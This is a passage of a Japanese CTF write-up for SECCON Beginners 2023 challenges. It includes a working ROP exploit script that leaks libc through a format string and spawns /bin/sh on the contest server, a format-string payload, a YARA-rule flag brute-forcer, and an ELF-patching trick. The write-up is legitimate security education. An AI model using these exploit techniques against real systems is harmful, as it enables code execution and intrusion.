[*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2023/Forgot_Some_Exploit/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to forgot-some-exploit.beginners.seccon.games on port 9002: Done
hex(addr_some_stack) = '0x7ffc62dde8c0'
hex(addr_stack_ret_of_echo) = '0x7ffc62dde9d8'
hex(addr_win) = '0x560c413e61c9'
payload = b'%202c%14$lln%2935c%15$hn%253c%16$hhn%24c%17$hhn%11c%18$hhnaaaaba\xd8\xe9\xddb\xfc\x7f\x00\x00\xdb\xe9\xddb\xfc\x7f\x00\x00\xda\xe9\xddb\xfc\x7f\x00\x00\xdd\xe9\xddb\xfc\x7f\x00\x00\xd9\xe9\xddb\xfc\x7f\x00\x00'
[+] Receiving all data: Done (3.38KB)
[*] Closed connection to forgot-some-exploit.beginners.seccon.games port 9002
b'(手前に色々出力がありますが長いので省略)\xdeaaaaba\xd8\xe9\xddb\xfc\x7fctf4b{4ny_w4y_y0u_w4nt_1t}\n'

出力最後にwin関数による出力があり、そこからフラグを入手できました: ctf4b{4ny_w4y_y0u_w4nt_1t}

(「この問題も本当にeasyなんだろうか」と思いながら解いていました)

[pwnable, medium] Elementary_ROP (52 team solved, 134 points)

スタックやレジスタの状態を想像しながらやってみよう

nc elementary-rop.beginners.seccon.games 9003

配布ファイルとして、問題本体のchallと、元ソースのsrc.cがありました。また、C言語標準ライブラリ等の実装であるlibc.so.6もありました:

$ file *
chall:     ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c5ce7344260404c39b2f53e2ffb732d33c19cb42, for GNU/Linux 3.2.0, not stripped
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=69389d485a9793dbe873f0ea2c93e02efaa9aa3d, for GNU/Linux 3.2.0, stripped
src.c:     C source, ASCII text
$ pwn checksec chall
[*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2023/Elementary_ROP/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$

src.cは以下の短い内容です:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>

void gadget() {
    asm("pop %rdi; ret");
}

int main() {
    char buf[0x20];
    printf("content: ");
    gets(buf);
    return 0;
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

gets関数でバッファオーバーフローが発生します。なおgets関数を経由した入力は、改行文字\n(=10)のみが入力の終端として扱われるようで、NUL文字等を入力の一部に与えられます。また、セキュリティ機構にカナリアがないため、戻りアドレスを改ざんできます。さらに、No PIEであるためchallバイナリ内部のgadget関数等のアドレスも固定です。一方で、libc.so.6が読み込まれるアドレスは実行ごとに変化します。

できることの少なさから、問題文が示唆している通り、Return Oriented Programming(略称ROP)で任意コードを実現してシェルを取得するのだと想像しました。ROPの説明はReturn-Oriented Programming - Binary Exploitationが詳しいと思います。簡単に説明するとpop rax; ret等の、「何かをして最後にretする処理」(ガジェットと呼びます)をスタックの戻りアドレスへ積み重ねることで、シェル起動等を実現する手法です。

ガジェットを探すために便利なツールとして、ROPgadgetというツール(公式サイトはJonathanSalwan/ROPgadget: This tool lets you search your gadgets on your binaries to facilitate your ROP exploitation. ROPgadget supports ELF, PE and Mach-O format on x86, x64, ARM, ARM64, PowerPC, SPARC, MIPS, RISC-V 64, and RISC-V Compressed architectur)があります。早速試してみました:

$ ROPgadget --binary ./chall
Gadgets information
============================================================
0x00000000004010c8 : adc byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401135 ; nop ; ret
0x0000000000401057 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004010cb : add bh, bh ; loopne 0x401135 ; nop ; ret
0x000000000040109c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040118d : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x000000000040118e : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040113a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040109e : add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x000000000040118f : add byte ptr [rax], al ; leave ; ret
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x0000000000401054 : add byte ptr [rax], al ; push 2 ; jmp 0x401020
0x0000000000401064 : add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040113b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401139 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401190 : add cl, cl ; ret
0x00000000004010ca : add dil, dil ; loopne 0x401135 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040113c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401137 : add eax, 0x2eeb ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401067 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x00000000004011dc : call qword ptr [rax + 0xff3c35d]
0x0000000000401014 : call rax
0x0000000000401153 : cli ; jmp 0x4010e0
0x00000000004010a3 : cli ; ret
0x00000000004011e3 : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401150 : endbr64 ; jmp 0x4010e0
0x00000000004010a0 : endbr64 ; ret
0x0000000000401159 : in eax, 0x5f ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x00000000004010c5 : je 0x4010d0 ; mov edi, 0x404010 ; jmp rax
0x0000000000401107 : je 0x401110 ; mov edi, 0x404010 ; jmp rax
0x000000000040103b : jmp 0x401020
0x0000000000401154 : jmp 0x4010e0
0x0000000000401138 : jmp 0x401168
0x000000000040100b : jmp 0x4840103f
0x00000000004010cc : jmp rax
0x0000000000401191 : leave ; ret
0x00000000004010cd : loopne 0x401135 ; nop ; ret
0x0000000000401136 : mov byte ptr [rip + 0x2eeb], 1 ; pop rbp ; ret
0x0000000000401052 : mov ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 2 ; jmp 0x401020
0x0000000000401155 : mov dl, byte ptr [rbp + 0x48] ; mov ebp, esp ; pop rdi ; ret
0x000000000040118c : mov eax, 0 ; leave ; ret
0x0000000000401158 : mov ebp, esp ; pop rdi ; ret
0x00000000004010c7 : mov edi, 0x404010 ; jmp rax
0x0000000000401157 : mov rbp, rsp ; pop rdi ; ret
0x000000000040115c : nop ; pop rbp ; ret
0x00000000004010cf : nop ; ret
0x000000000040114c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010e0
0x00000000004010c6 : or dword ptr [rdi + 0x404010], edi ; jmp rax
0x000000000040113d : pop rbp ; ret
0x000000000040115a : pop rdi ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401056 : push 2 ; jmp 0x401020
0x0000000000401066 : push 3 ; jmp 0x401020
0x0000000000401156 : push rbp ; mov rbp, rsp ; pop rdi ; ret
0x000000000040101a : ret
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004011e5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011e4 : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x00000000004010c3 : test eax, eax ; je 0x4010d0 ; mov edi, 0x404010 ; jmp rax
0x0000000000401105 : test eax, eax ; je 0x401110 ; mov edi, 0x404010 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax

Unique gadgets found: 70
$

さて、色々ガジェットを見つけてくれはしたのですが、システムコールを呼び出すためのsyscall命令がありません。そのためシステムコールを直接呼び出せず、challバイナリ中に存在する関数や、インポートしている関数のみでどうにかする必要があります。また、x64 ELFのABIで関数第1引数に使用するRDIレジスタを操作するためのpop rdi; retガジェットは存在しますが、関数第2引数に使用するRSIレジスタを操作するガジェットがありません。そのため関数を使う場合も引数が1つのものだけが使えそうです。

一応念のため、main関数からretする際のレジスタ内容を確認しました:

$ gdb -q -n ./chall
Reading symbols from ./chall...
(No debugging symbols found in ./chall)
(gdb) b *(main+51)
Breakpoint 1 at 0x401192
(gdb) run
Starting program: /mnt/d/Documents/work/ctf/SECCON Beginners CTF 2023/Elementary_ROP/chall
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
content: DUMMY

Breakpoint 1, 0x0000000000401192 in main ()
(gdb) x/1i $rip
=> 0x401192 <main+51>:  ret
(gdb) p $rdi
$1 = 140737353734784
(gdb) p $rsi
$2 = 1
(gdb)

残念ながらret時点ではRSIレジスタの値は1であるため、あまり活用できなさそうです。

活用できそうな関数は、以下のものになります:

  • challバイナリにある、main関数の再帰
  • challバイナリでインポートしている関数である、gets関数、printf関数(ただし引数は1つのみ)
  • なんとかしてlibc.so.6のアドレスを特定できたあと限定で、その中のsystem関数等

また、x64 ELFのABIで重要なものとして、RDIレジスタ内容が関数呼び出し前後で保持される保証はありません。破壊される可能性を考慮して、ROP中でも毎回RDIレジスタを再設定する必要があります。

考察と試行錯誤を繰り返した結果、以下の方針が立ちました:

  1. main関数の戻りアドレスを以下のROPガジェットになるよう改ざん:
    1. pop rdi; retガジェット
    2. 読み書きできる適当な領域のアドレス
    3. gets関数、FSB用の内容を入力
    4. pop rdi; retガジェット
    5. 上で使用した領域のアドレス
    6. printf関数のFSBでlibc.so.6中のアドレスを取得、それを元にlibc.so.6のベースアドレスやsystem関数のアドレスも取得
    7. main関数のアドレス
  2. 2回目のmain関数の戻りアドレスを以下のROPガジェットになるよう改ざん:
    1. pop rdi; retガジェット
    2. 読み書きできる適当な領域のアドレス
    3. gets関数、/bin/shを入力
    4. pop rdi; retガジェット
    5. 上で使用した領域のアドレス
    6. system関数のアドレス

gdbコマンドでデバッグ実行して、FSB用文字列に何を指定すればlibc.so.6中のアドレスを取得できるかを、頑張って確認したりしました。それらを利用して、以下のソルバーを書きました:

#!/usr/bin/env python3

import pwn
import time

BIN_NAME = "./chall"
pwn.context.binary = BIN_NAME
# pwn.context.log_level = "DEBUG"

def solve(io):
    elf = pwn.ELF(BIN_NAME)
    addr_main = elf.symbols["main"]
    addr_printf = elf.plt["printf"]
    addr_gets = elf.plt["gets"]
    addr_gets_without_firstpush = addr_gets + 6
    # addr_buffer = elf.get_section_by_name(".bss").header.sh_addr # なぜか.bssを使うと<_IO_new_file_underflow+119>でSIGSEGVが発生しました……
    addr_buffer = elf.get_section_by_name(".data").header.sh_addr

    rop_pop_rdi = 0x40115A
    addr_ret = 0x40115B         # 関数呼び出し時のRSPの16バイトアライメント調整用
    print(f"{hex(addr_main) = }")
    print(f"{hex(addr_printf) = }")
    print(f"{hex(addr_gets) = }")
    print(f"{hex(addr_buffer) = }")

    payload = pwn.flat(
        b"A" * (32+8),
        rop_pop_rdi, addr_buffer,
        addr_ret,
        addr_gets,
        rop_pop_rdi, addr_buffer,  # System V ABIでは関数呼び出し中にrdiを破壊しても良いので再設定
        addr_ret,
        addr_printf,
        addr_ret,
        addr_main)
    io.sendlineafter(b"content: ", payload)
    # printfは第6引数まではレジスタ、その後はスタックを参照する。スタック内容を漏洩させる
    # gdbの「x/20g $rsp」を見て、libc.so.6箇所のアドレスが入っている場所を見つけて、何番目で取れるかを試行錯誤したら17番目で取れました
    # ↓目的の内容↓
    # gdb-peda$ x/1i 0x00007ffff7dabe40
    #    0x7ffff7dabe40 <__libc_start_main_impl+128>: mov    r15,QWORD PTR [rip+0x1ef159]        # 0x7ffff7f9afa0
    io.sendline(b"%17$p")
    addr_libc_start_main_impl_plus_128 = int(io.recvuntil(b"content: ", drop=True), 0)
    print(f"{hex(addr_libc_start_main_impl_plus_128) = }")

    libc = pwn.ELF("libc.so.6")
    offset_libc_start_main_impl = libc.symbols["__libc_start_main"] # 何故かlibc側でのシンボル名は違っていました
    libc.address = addr_libc_start_main_impl_plus_128 - 128 - offset_libc_start_main_impl
    addr_system = libc.symbols["system"]
    print(f"{hex(addr_system) = }")
    payload = pwn.flat(
        b"A" * (32+8),
        rop_pop_rdi, addr_buffer,
        addr_ret,
        addr_gets,
        rop_pop_rdi, addr_buffer,  # System V ABIでは関数呼び出し中にrdiを破壊しても良いので再設定
        addr_ret,
        addr_system)
    io.sendline(payload) # promptは消費済み
    io.sendline(b"/bin/sh")
    io.interactive()

command = """
set follow-fork-mode parent
b *0x401192
c
c
"""
with pwn.remote("elementary-rop.beginners.seccon.games", 9003) as io: solve(io)
# with pwn.process(BIN_NAME) as io: solve(io)
# with pwn.gdb.debug(BIN_NAME, command) as io: solve(io)

実行しました:

$ ./solve.py
[*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2023/Elementary_ROP/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to elementary-rop.beginners.seccon.games on port 9003: Done
hex(addr_main) = '0x40115f'
hex(addr_printf) = '0x401030'
hex(addr_gets) = '0x401050'
hex(addr_buffer) = '0x404000'
hex(addr_libc_start_main_impl_plus_128) = '0x7f807b0fbe40'
[*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2023/Elementary_ROP/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
hex(addr_system) = '0x7f807b122d60'
[*] Switching to interactive mode
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{br34k_0n_thr0ugh_t0_th3_0th3r_51d3}
$
[*] Interrupted
[*] Closed connection to elementary-rop.beginners.seccon.games port 9003
$

フラグを入手できました: ctf4b{br34k_0n_thr0ugh_t0_th3_0th3r_51d3}

[misc, beginner] YARO (212 team solved, 74 points)

サーバーにマルウェアが混入している可能性があるので、あなたの完璧なシグネチャで探してください

nc yaro.beginners.seccon.games 5003

backup

nc yaro-2.beginners.seccon.games 5003

配布ファイルとして、サーバー側プログラムのserver.pyや、関連ファイルがありました:

$ file *
requestments.txt: ASCII text
rule_example.yar: ASCII text
server.py:        Python script, ASCII text executable
$ cat rule_example.yar
rule shebang {
    strings:
        $shebang = /^#!(\/[^\/ ]*)+\/?/
    condition:
        $shebang
}
rule maybe_python_executable {
    strings:
        $ident = /python(2|3)\r*\n/
    condition:
        shebang and $ident
}
$

server.pyは以下の内容です:

#!/usr/bin/env python3

import yara
import os
import timeout_decorator

@timeout_decorator.timeout(20)
def main():
    rule = []
    print('rule:')

    while True:
        l = input()
        if len(l) == 0:
            break
        rule.append(l)

    rule = '\n'.join(rule)
    try:

        print(f'OK. Now I find the malware from this rule:\n{rule}')

        compiled = yara.compile(source=rule)

        for root, d, f in os.walk('.'):
            for p in f:
                file = os.path.join(root, p)
                matches = compiled.match(file, timeout=60)
                if matches:
                    print(f'Found: {file}, matched: {matches}')
                else:
                    print(f'Not found: {file}')

    except:
        print('Something wrong')

if __name__ == '__main__':
    try:
        main()
    except timeout_decorator.timeout_decorator.TimeoutError:
        print("Timeout")

server.pyの内容は、Yaraルールの入力を受けて、カレントディレクトリ以下でマッチ判定をしてくれるようです。YaraルールについてはYARA - The pattern matching swiss knife for malware researchersなどが参考になると思います。

とりあえず一度実行してみました:

$ nc yaro.beginners.seccon.games 5003
rule:
rule shebang {
    strings:
        $shebang = /^#!(\/[^\/ ]*)+\/?/
    condition:
        $shebang
}
rule maybe_python_executable {
    strings:
        $ident = /python(2|3)\r*\n/
    condition:
        shebang and $ident
}

OK. Now I find the malware from this rule:
rule shebang {
    strings:
        $shebang = /^#!(\/[^\/ ]*)+\/?/
    condition:
        $shebang
}
rule maybe_python_executable {
    strings:
        $ident = /python(2|3)\r*\n/
    condition:
        shebang and $ident
}
Found: ./redir.sh, matched: [shebang]
Found: ./server.py, matched: [shebang, maybe_python_executable]
Not found: ./flag.txt
Not found: ./requestments.txt

$

flag.txtがあります。試しにフラグ形式にマッチするルールを与えてみます:

$ nc yaro.beginners.seccon.games 5003
rule:
rule flag {
    strings:
        $flag = "ctf4b"
    condition:
        $flag
}

OK. Now I find the malware from this rule:
rule flag {
    strings:
        $flag = "ctf4b"
    condition:
        $flag
}
Not found: ./redir.sh
Not found: ./server.py
Found: ./flag.txt, matched: [flag]
Not found: ./requestments.txt

$

無事、flag.txtだけヒットしてくれました。あとはYaraルールのフラグ文字列を1文字ずつ追加していくことで、フラグを特定できそうです。この発想でソルバーを書きました。

なお、文字列中で特別な意味を持つ文字がありそうなので、仕様を調べて適宜エスケープしました。また、リモートサーバーへ接続する問題を自動化する場合でも、pwntoolsライブラリは便利です:

#!/usr/bin/env python3

import pwn

def test_flag(flag:str) -> bool:
    # https://yara.readthedocs.io/en/v3.4.0/writingrules.html#text-strings
    flag = flag.replace("\\", "\\\\")
    flag = flag.replace('"', r'\"')
    with pwn.remote("yaro-2.beginners.seccon.games", 5003) as io:
        rule = f"""rule flag {{
    strings:
        $flag = "{flag}"
    condition:
        $flag
}}
"""
        io.sendlineafter(b"rule:", rule.encode())
        line = io.recvline_contains(b"./flag.txt")
        return b"matched: [flag]" in line

flag = "ctf4b{"
while True:
    print(flag)
    if "}" in flag: break

    for c in range(0x20, 0x80):
        current = flag + chr(c)
        if test_flag(current):
            flag = current
            break
    else:
        raise Exception("Not Found!")

実行しました:

$ time ./solve.py
ctf4b{
ctf4b{Y
ctf4b{Y3
ctf4b{Y3t
ctf4b{Y3t_
ctf4b{Y3t_A
ctf4b{Y3t_An
ctf4b{Y3t_An0
ctf4b{Y3t_An0t
ctf4b{Y3t_An0th
ctf4b{Y3t_An0th3
ctf4b{Y3t_An0th3r
ctf4b{Y3t_An0th3r_
ctf4b{Y3t_An0th3r_R
ctf4b{Y3t_An0th3r_R3
ctf4b{Y3t_An0th3r_R34
ctf4b{Y3t_An0th3r_R34d
ctf4b{Y3t_An0th3r_R34d_
ctf4b{Y3t_An0th3r_R34d_O
ctf4b{Y3t_An0th3r_R34d_Op
ctf4b{Y3t_An0th3r_R34d_Opp
ctf4b{Y3t_An0th3r_R34d_Opp0
ctf4b{Y3t_An0th3r_R34d_Opp0r
ctf4b{Y3t_An0th3r_R34d_Opp0rt
ctf4b{Y3t_An0th3r_R34d_Opp0rtu
ctf4b{Y3t_An0th3r_R34d_Opp0rtun
ctf4b{Y3t_An0th3r_R34d_Opp0rtun1
ctf4b{Y3t_An0th3r_R34d_Opp0rtun1t
ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty
ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}
./solve.py  3.22s user 0.40s system 1% cpu 5:45.44 total
$

6分弱でフラグを入手できました: ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}

今思うと、1文字ずつ全探索するよりも、Nibble単位の比較などもっと高速に解けるルールが作れたように思います。

[misc, beginner] polyglot4b (125 team solved, 91 points)

polyglotってなに? たぶんpolyglotを作れるエディタを開発したよ!

nc polyglot4b.beginners.seccon.games 31416

配布ファイルとして、サーバー側プログラムのpolyglot4b.pyや、関連ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./docker-compose.yml:             ASCII text
./Dockerfile:                     ASCII text
./polyglot4b.py:                  Python script text executable Python script, Unicode text, UTF-8 text executable
./sample/sushi.jpg:               JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=CTF4B], baseline, precision 8, 1404x790, components 3
./sample/test_script.sh:          Bourne-Again shell script, ASCII text executable
$

polyglot4b.pyは以下の内容です:

import os
import sys
import uuid
import shutil
import subprocess

print(
    f"""\033[36m\
 ____       _             _       _     _____    _ _ _
|  _ \ ___ | |_   _  __ _| | ___ | |_  | ____|__| (_) |_ ___  _ __
| |_) / _ \| | | | |/ _` | |/ _ \| __| |  _| / _` | | __/ _ \| '__|
|  __/ (_) | | |_| | (_| | | (_) | |_  | |__| (_| | | || (_) | |
|_|   \___/|_|\__, |\__, |_|\___/ \__| |_____\__,_|_|\__\___/|_|
              |___/ |___/
{"-" * 68}
>> """,
    end="",
)

file = b""
for _ in range(10):
    text = sys.stdin.buffer.readline()
    if b"QUIT" in text:
        break
    file += text

print(f"{'-' * 68}\033[0m")

if len(file) >= 50000:
    print("ERROR: File size too large. (len < 50000)")
    sys.exit(0)

f_id = uuid.uuid4()
os.makedirs(f"tmp/{f_id}", exist_ok=True)
with open(f"tmp/{f_id}/{f_id}", mode="wb") as f:
    f.write(file)
try:
    f_type = subprocess.run(
        ["file", "-bkr", f"tmp/{f_id}/{f_id}"], capture_output=True
    ).stdout.decode()
except:
    print("ERROR: Failed to execute command.")
finally:
    shutil.rmtree(f"tmp/{f_id}")

types = {"JPG": False, "PNG": False, "GIF": False, "TXT": False}
if "JPEG" in f_type:
    types["JPG"] = True
if "PNG" in f_type:
    types["PNG"] = True
if "GIF" in f_type:
    types["GIF"] = True
if "ASCII" in f_type:
    types["TXT"] = True

for k, v in types.items():
    v = "🟩" if v else "🟥"
    print(f"| {k}: {v} ", end="")
print("|")

if all(types.values()):
    print("FLAG: ctf4b{****REDACTED****}")
else:
    print("FLAG: No! File mashimashi!!")

つまり、ユーザー入力から得たファイルの内容をfileコマンドで確認し、その出力にJPEG, PNG, GIF, ASCIIがすべて存在すればフラグを入手できます。なお、問題文のpolyglotとは「同一内容のまま、複数のファイル形式として解釈できる」ような意味を持つ用語です。本当に問題通りのpolyglotを用意できればいいのですが、JPEGのマーカーやPNGヘッダーは非ASCIIのバイトを含むため、ASCIIとの両立は不可能そうです。

ところでこの記事を読んでいるうちに察しておられるかもしれませんが、配布ファイルがある場合は私はとりあえずfileコマンドで調べています。その中で、ELF形式の場合の結果が長いことに気付きました。ちょうど目の前にあったpoemバイナリの場合です:

poem:  ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=73aada520f90658e3f06467290de52848017d9c8, for GNU/Linux 3.2.0, not stripped

ヘキサエディタでpoemバイナリを調べてみると、fileコマンド出力中にある/lib64/ld-linux-x86-64.so.2の文字列が、そのままバイナリ中に存在しました:

編集前

試しにその文字列を変更してみました:

編集後

$ file poem.interpreter_changed
poem.interpreter_changed: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /JPEGIFPNGASCII-x86-64.so.2, BuildID[sha1]=73aada520f90658e3f06467290de52848017d9c8, for GNU/Linux 3.2.0, not stripped
$

変更した内容がそのままfileコマンド結果に現れてくれました!後は提出するだけです:

$ (cat poem.interpreter_changed; echo "QUIT") | nc polyglot4b.beginners.seccon.games 31416
 ____       _             _       _     _____    _ _ _
|  _ \ ___ | |_   _  __ _| | ___ | |_  | ____|__| (_) |_ ___  _ __
| |_) / _ \| | | | |/ _` | |/ _ \| __| |  _| / _` | | __/ _ \| '__|
|  __/ (_) | | |_| | (_| | | (_) | |_  | |__| (_| | | || (_) | |
|_|   \___/|_|\__, |\__, |_|\___/ \__| |_____\__,_|_|\__\___/|_|
              |___/ |___/
--------------------------------------------------------------------
>> --------------------------------------------------------------------
| JPG: 🟩 | PNG: 🟩 | GIF: 🟩 | TXT: 🟩 |
FLAG: ctf4b{y0u_h4v3_fully_und3r5700d_7h15_p0ly6l07}
$

フラグを入手できました: ctf4b{y0u_h4v3_fully_und3r5700d_7h15_p0ly6l07}

(提出時、しばらくQUITを入れ忘れていました。それが理由でPROMPTで止まり、fileコマンド結果が表示されずにしばらく悩んでいました。)

[misc, easy] shaXXX (59 team solved, 126 points)

SHA! SHA! SHA!

nc shaxxx.beginners.seccon.games 25612

配布ファイルとして、サーバー側プログラムのmain.pyや、関連ファイルがありました:

$ file *
Dockerfile:         ASCII text
docker-compose.yml: ASCII text
flag.py:            ASCII text
main.py:            Python script, ASCII text executable
$

flag.pymain.pyは以下の内容です:

# top secret (- __ -)
flag = b"ctf4b{dummy_flag}"
import os
import sys
import shutil
import hashlib
from flag import flag


def initialization():
    if os.path.exists("./flags"):
        shutil.rmtree("./flags")
    os.mkdir("./flags")

    def write_hash(hash, bit):
        with open(f"./flags/sha{bit}.txt", "w") as f:
            f.write(hash)

    sha256 = hashlib.sha256(flag).hexdigest()
    write_hash(sha256, "256")

    sha384 = hashlib.sha384(flag).hexdigest()
    write_hash(sha384, "384")

    sha512 = hashlib.sha512(flag).hexdigest()
    write_hash(sha512, "512")


def get_full_path(file_path: str):
    full_path = os.path.join(os.getcwd(), file_path)
    return os.path.normpath(full_path)


def check1(file_path: str):
    program_root = os.getcwd()
    dirty_path = get_full_path(file_path)
    return dirty_path.startswith(program_root)


def check2(file_path: str):
    if os.path.basename(file_path) == "flag.py":
        return False
    return True


if __name__ == "__main__":
    initialization()
    print(sys.version)
    file_path = input("Input your salt file name(default=./flags/sha256.txt):")
    if file_path == "":
        file_path = "./flags/sha256.txt"
    if not check1(file_path) or not check2(file_path):
        print("No Hack!!! Your file path is not allowed.")
        exit()
    try:
        with open(file_path, "rb") as f:
            hash = f.read()
        print(f"{hash=}")
    except:
        print("No Hack!!!")

main.pyの内容は、フラグ内容のsha256、sha384、sha512のハッシュ値を計算してファイルに保存し、ユーザー入力で受けたカレントディレクトリ以下のファイルを表示する内容のようです。少なくともsha256等は原像攻撃に耐性があるはずなので、各種ハッシュ値からフラグを求めることはできないはずです。また、print(sys.version)が気になりますが、「Python2系統ではinput関数で任意コード実行できますが、Python3系統ではできないので諦めてください」な意図なのだと思います。

Docker系統ファイルでサーバー環境を再現できそうなので、試しに起動して、Dockerコンテナ内部をdocker container execで覗いたりしました:

$ docker compose up
[+] Building 2.0s (9/9) FINISHED
(ログ省略)

# 以下別のターミナルで
$ docker container ls
CONTAINER ID   IMAGE           COMMAND                  CREATED              STATUS              PORTS                      NAMES
42ad4c2a888b   shaxxx-shaxxx   "/bin/sh -c 'socat T…"   About a minute ago   Up About a minute   0.0.0.0:25612->44322/tcp   shaxxx-shaxxx-1
$ docker container exec -it 42ad4c2a888b sh
/home/ctf/shaXXX # ls
__pycache__  flag.py      flags        main.py
/home/ctf/shaXXX # cd __pycache__
/home/ctf/shaXXX/__pycache__ # ls
flag.cpython-311.pyc
/home/ctf/shaXXX/__pycache__ # xxd flag*
00000000: a70d 0d0a 0000 0000 612c a530 3200 0000  ........a,.02...
00000010: e300 0000 0000 0000 0000 0000 0001 0000  ................
00000020: 0000 0000 00f3 0a00 0000 9700 6400 5a00  ............d.Z.
00000030: 6401 5300 2902 7311 0000 0063 7466 3462  d.S.).s....ctf4b
00000040: 7b64 756d 6d79 5f66 6c61 677d 4e29 01da  {dummy_flag}N)..
00000050: 0466 6c61 67a9 00f3 0000 0000 fa18 2f68  .flag........./h
00000060: 6f6d 652f 6374 662f 7368 6158 5858 2f66  ome/ctf/shaXXX/f
00000070: 6c61 672e 7079 fa08 3c6d 6f64 756c 653e  lag.py..<module>
00000080: 7206 0000 0001 0000 0073 0e00 0000 f003  r........s......
00000090: 0101 01e0 071b 8004 8004 8004 7204 0000  ............r...
000000a0: 00                                       .
/home/ctf/shaXXX/__pycache__ #

なるほどpycache経由でフラグを読めそうです!後は実際に問題サーバーへ接続しました

$ nc shaxxx.beginners.seccon.games 25612
3.11.3 (main, May 10 2023, 12:26:31) [GCC 12.2.1 20220924]
Input your salt file name(default=./flags/sha256.txt):./__pycache__/flag.cpython-311.pyc
hash=b'\xa7\r\r\n\x00\x00\x00\x00>=wd<\x00\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf3\n\x00\x00\x00\x97\x00d\x00Z\x00d\x01S\x00)\x02s\x1b\x00\x00\x00ctf4b{c4ch3_15_0ur_fr13nd!}N)\x01\xda\x04flag\xa9\x00\xf3\x00\x00\x00\x00\xfa\x18/home/ctf/shaXXX/flag.py\xfa\x08<module>r\x06\x00\x00\x00\x01\x00\x00\x00s\x0e\x00\x00\x00\xf0\x03\x01\x01\x01\xe0\x07%\x80\x04\x80\x04\x80\x04r\x04\x00\x00\x00'

$

出力の途中にフラグがあります。フラグを入手できました: ctf4b{c4ch3_15_0ur_fr13nd!}

[web, beginner] Forbidden (431 team solved, 56 points)

You don't have permission to access /flag on this server.

https://forbidden.beginners.seccon.games

配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./.env:                  ASCII text
./app/Dockerfile:        ASCII text
./app/index.js:          HTML document, Unicode text, UTF-8 text
./app/package-lock.json: JSON data
./app/package.json:      JSON data
./docker-compose.yml:    ASCII text
./nginx/Dockerfile:      ASCII text
./nginx/nginx.conf:      ASCII text
$

色々ファイルがありますが、重要そうなのはapp/index.jsのようです:

var express = require("express");
var app = express();

const HOST = process.env.CTF4B_HOST;
const PORT = process.env.CTF4B_PORT;
const FLAG = process.env.CTF4B_FLAG;

app.get("/", (req, res, next) => {
    return res.send('FLAG はこちら: <a href="/flag">/flag</a>');
});

